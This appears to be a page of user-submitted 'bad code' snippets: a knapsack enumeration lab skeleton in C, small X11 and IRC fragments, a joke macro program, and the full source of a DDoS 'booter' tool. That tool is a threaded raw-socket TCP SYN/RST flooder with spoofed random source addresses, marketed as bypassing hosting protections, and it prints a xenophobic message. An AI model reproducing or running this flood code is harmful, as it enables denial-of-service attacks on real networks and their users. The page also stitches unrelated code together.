// enum - full enumeration of knapsack solutions
// (C) Joshua Knowles
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <stdbool.h>
FILE *fp; // file pointer for reading the input files
int Capacity; // capacity of the knapsack (total weight that can be stored)
int Nitems; // number of items available
int *item_weights; // vector of item weights
int *item_values; // vector of item profits or values
int *temp_indexes; // list of temporary item indexes for sorting items by value/weight
int QUIET=0; // this can be set to 1 to suppress output
extern void read_knapsack_instance(char *filename);
extern void print_instance();
extern void sort_by_ratio();
extern int check_evaluate_and_print_sol(int *sol, int *total_value, int *total_weight);
void enumerate();
int next_binary(int *str, int Nitems);
int main(int argc, char *argv[])
{
read_knapsack_instance(argv[1]);
print_instance();
enumerate();
return(0);
}
void enumerate()
{
// Do an exhaustive search (aka enumeration) of all possible ways to pack
// the knapsack.
// This is achieved by creating every binary solution vector of length Nitems.
// For each solution vector, its value and weight is calculated.
int i; // item index
int solution[Nitems+1]; // (binary) solution vector representing items packed
int best_solution[Nitems+1]; // (binary) solution vector for best solution found
int best_value; // total value packed in the best solution
double j=0;
int total_value, total_weight; // total value and total weight of current knapsack solution
int infeasible; // 0 means feasible; -1 means infeasible (violates the capacity constraint)
// set the knapsack initially empty
for(i=1;i<=Nitems;i++)
{
solution[i]=0;
}
QUIET=1;
best_value=0;
while(!(next_binary(&solution[1], Nitems)))
{
/* ADD CODE IN HERE TO KEEP TRACK OF FRACTION OF ENUMERATION DONE */
// calculates the value and weight and feasibility:
infeasible=check_evaluate_and_print_sol(solution, &total_value, &total_weight);
/* ADD CODE IN HERE TO KEEP TRACK OF BEST SOLUTION FOUND*/
}
/* ADD CODE TO PRINT OUT BEST SOLUTION */
}
int next_binary(int *str, int Nitems)
{
// Called with a binary string of length Nitems, this
// function adds "1" to the string, e.g. 0001 would turn to 0010.
// If the string overflows, then the function returns 1, else it returns 0.
int i=Nitems-1;
while(i>=0)
{
if(str[i]==1)
{
str[i]=0;
i--;
}
else
{
str[i]=1;
break;
}
}
if(i==-1)
{
return(1);
}
else
{
return(0);
}
}
A genuine UoM lab.
case ClientMessage:
if (*XGetAtomName(GLWin.dpy, event.xclient.message_type)
== *"WM_PROTOCOLS")
{ printf("Exiting sanely...\n");
done = True;
}
break;
someone just want to watch the world burn
strcpy(szBuffer, sBuffer);
so many questions given you by Hungarian notation
//shit code 80 lvl
void getMessageAndChannel(char*buffer,char*message,char*channel)
{
if(strstr(buffer, "PRIVMSG") != NULL )
{
while(*buffer !='#')*buffer++;
while(*buffer!=' ' && *buffer)
*channel++=*buffer++;
while(*buffer!=':' && *buffer)*buffer++;
while(*buffer!='\n' && *buffer)
*message++=*buffer++;
}///
}
//
//
// SYBEX 3.0 BOOTER.PW
//
// Specially made to Serial from Alemalakra.
//
// Type: TCP-RST Spoofed Bypass PPS.
// Price: ????????
// Version: 3.0
//
// "-1" PPS For use all Packets-Per-Second.
// "0" on Port for send Destination-ports fully random, New Bypass.
// Improved whole script, Works on most targets, Including digital ocean and Hetzner.
//
//
#include<stdio.h>
#include<string.h> //memset
#include<sys/socket.h>
#include<stdlib.h> //for exit(0);
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h> //Provides declarations for tcp header
#include <arpa/inet.h>
#include<netinet/ip.h> //Provides declarations for ip header
#include <pthread.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>
#include <time.h>
static unsigned int floodport;
#define BUFFER_SIZE 100
char sourceip[17];
volatile int limiter; // PPS Limitator.
volatile unsigned int pps; // PPS per Second, Global variable including for Threads.
volatile unsigned int sleeptime = 100; // Sleep in miliseconds for each packet if pps exeded.
volatile unsigned int lenght_pkt = 0;
struct pseudo_header
{
u_int32_t source_address;
u_int32_t dest_address;
u_int8_t placeholder;
u_int8_t protocol;
u_int16_t tcp_length;
struct tcphdr tcp;
};
unsigned short checksum_tcp_packet(unsigned short *ptr,int nbytes) {
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
void *mexico(void *par1)
{
// Make socket
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
if(s == -1)
{
perror("[!] For use Script you need root stupid...");
exit(1);
}
// Declares
char *targettr = (char *)par1;
char datagram[4096] , source_ip[32] , *data , *pseudogram;
//zero out the packet buffer
memset (datagram, 0, 4096);
//IP header
struct iphdr *iph = (struct iphdr *) datagram;
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
//Data part
data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);
if (lenght_pkt == 0) { // bypass pps
data = "";
}
// Source Address and Such.
char primera [ 20 ] ;
int one_r = randommexico(1, 250);
int two_r = randommexico(1, 250);
int three_r = randommexico(1, 250);
int four_r = randommexico(1, 250);
snprintf(primera, sizeof(primera)-1, "%d.%d.%d.%d", one_r, two_r, three_r, four_r);
snprintf(sourceip, sizeof(sourceip)-1, primera);
strcpy(source_ip , sourceip);
sin.sin_family = AF_INET;
int rdzeroport;
if (floodport == 0) {
rdzeroport = randommexico(2, 65535);
sin.sin_port = htons(rdzeroport);
tcph->dest = htons (rdzeroport);
} else {
sin.sin_port = htons(floodport);
tcph->dest = htons (floodport);
}
sin.sin_addr.s_addr = inet_addr (targettr);
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);
iph->id = htons(1);
iph->frag_off = 0;
iph->ttl = 64;
iph->protocol = IPPROTO_TCP;
iph->check = 0;
iph->saddr = inet_addr ( source_ip );
iph->daddr = sin.sin_addr.s_addr;
iph->check = checksum_tcp_packet ((unsigned short *) datagram, iph->tot_len);
int randSeq = randommexico(10000, 99999);
int randAckSeq = randommexico(10000, 99999);
int randSP = randommexico(2, 65535);
int randPD = randommexico(2, 65535);
int randttl = randommexico(1, 255);
int randihl = randommexico(4, 7);
int randWin = randommexico(1000, 9999);
tcph->source = randSP;
tcph->seq = randSeq;
tcph->ack_seq = 0;
tcph->doff = 5;
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = randWin;
tcph->check = 0;
tcph->urg_ptr = 0;
psh.source_address = inet_addr( source_ip );
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
pseudogram = malloc(psize);
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
tcph->check = checksum_tcp_packet( (unsigned short*) pseudogram , psize);
//tcph->check = checksum_tcp_packet( (unsigned short*) &psh , sizeof (struct pseudo_header));
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
{
exit(0);
}
int i;
while (1)
{
//Send the packet
if (sendto (s, datagram, iph->tot_len , 0, (struct sockaddr *) &sin, sizeof (sin)) < 0) /* a normal send() */
{
printf ("[!] Error sending Packet!\n");
exit(0);
} else {
one_r = randommexico(1, 250);
two_r = randommexico(1, 250);
three_r = randommexico(1, 250);
four_r = randommexico(1, 250);
snprintf(primera, sizeof(primera)-1, "%d.%d.%d.%d", one_r, two_r, three_r, four_r);
snprintf(sourceip, sizeof(sourceip)-1, primera);
strcpy(source_ip , sourceip);
iph->saddr = inet_addr ( source_ip );
psh.source_address = inet_addr( source_ip );
if (lenght_pkt == 0) { // bypass pps
data = "";
}
if (floodport == 0) {
rdzeroport = randommexico(2, 65535);
sin.sin_port = htons(rdzeroport);
tcph->dest = htons (rdzeroport);
} else {
sin.sin_port = htons(floodport);
tcph->dest = htons (floodport);
}
randSeq = randommexico(10000, 99999);
randAckSeq = randommexico(10000, 99999);
randSP = randommexico(2, 65535);
randPD = randommexico(2, 65535);
randttl = randommexico(1, 255);
randWin = 512;
tcph->source = randSP;
tcph->doff = 5; /* first and only tcp segment */
tcph->seq = htons(randSeq);
tcph->ack = 0;
tcph->ack_seq = 0;
tcph->psh = 0;
tcph->fin = 0;
tcph->rst = 1;
tcph->res2 = 0;
tcph->doff = 5;
tcph->syn = 0;
tcph->urg = 0;
tcph->urg_ptr = 0;
tcph->window = htons(0);
tcph->check = 0;
iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);
iph->protocol = IPPROTO_TCP;
iph->check = 0; //Set to 0 before calculating checksum
iph->daddr = sin.sin_addr.s_addr;
iph->check = checksum_tcp_packet ((unsigned short *) datagram, iph->tot_len);
psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
pseudogram = malloc(psize);
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
tcph->check = checksum_tcp_packet( (unsigned short*) pseudogram , psize);
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
{
exit(0);
}
pps++;
if(i >= limiter)
{
i = 0;
}
i++;
}
}
}
int randommexico(int min, int max) {
static bool first = true;
if (first) {
srand( time(NULL) );
first = false;
}
return min + rand() % (max + 1 - min);
}
int main(int argc, char *argv[ ])
{
if(argc < 6){
fprintf(stderr, "[!] Sybex 3.0 Priv8 TCP Bypass by Alemalakra.\n");
fprintf(stdout, "[!] Usage: %s <IP> <PORT> <THREADS> <TIME> <PPS>\n", argv[0]);
exit(-1);
}
int multiplier = 20;
pps = 0;
limiter = 0;
// Arguments of Method.
floodport = atoi(argv[2]);
void * target = argv[1];
int maxim_pps = atoi(argv[5]);
int num_threads = atoi(argv[3]);
lenght_pkt = 0;
pthread_t thread[num_threads];
int alem = 0;
int i;
for(alem = 0;alem<num_threads;alem++){
pthread_create( &thread[alem], NULL, &mexico, (void *)argv[1]); // Target
}
fprintf(stdout, "[!] Sending attack, Please stop inmigrants!\n");
return 0;
}
alems shitty ass code
#define omae
#define wa (void)0
#define mou (void)0
#define shinderu ;
#define nani (void)
#define return 0; return
int main(void) {
omae wa, mou shinderu
nani!
return 0;
}